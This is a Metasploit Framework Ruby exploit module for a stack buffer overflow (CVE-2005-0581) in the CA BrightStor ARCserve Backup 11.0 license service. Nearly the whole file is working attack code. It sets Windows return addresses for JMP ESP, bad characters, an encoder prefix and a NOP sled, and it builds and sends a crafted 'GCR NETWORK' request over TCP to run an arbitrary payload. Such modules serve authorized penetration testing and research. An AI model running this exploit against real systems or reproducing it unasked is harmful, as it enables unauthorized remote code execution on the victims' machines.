metasploit-framework/modules/exploits/windows/brightstor/license_gcr.rb

74 lines
2.0 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup 11.0.
By sending a specially crafted request to the lic98rmtd.exe service, an attacker
could overflow the buffer and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-0581' ],
[ 'OSVDB', '14389' ],
[ 'BID', '12705' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
],
'DisclosureDate' => 'Mar 2 2005',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(10202) ], self.class)
end
def exploit
connect
buff = rand_text_alpha_upper(256) + [target.ret].pack('V')
buff << make_nops(12) + payload.encoded
# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
sploit = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"
print_status("Trying target #{target.name}...")
sock.puts(sploit)
handler
disconnect
end
end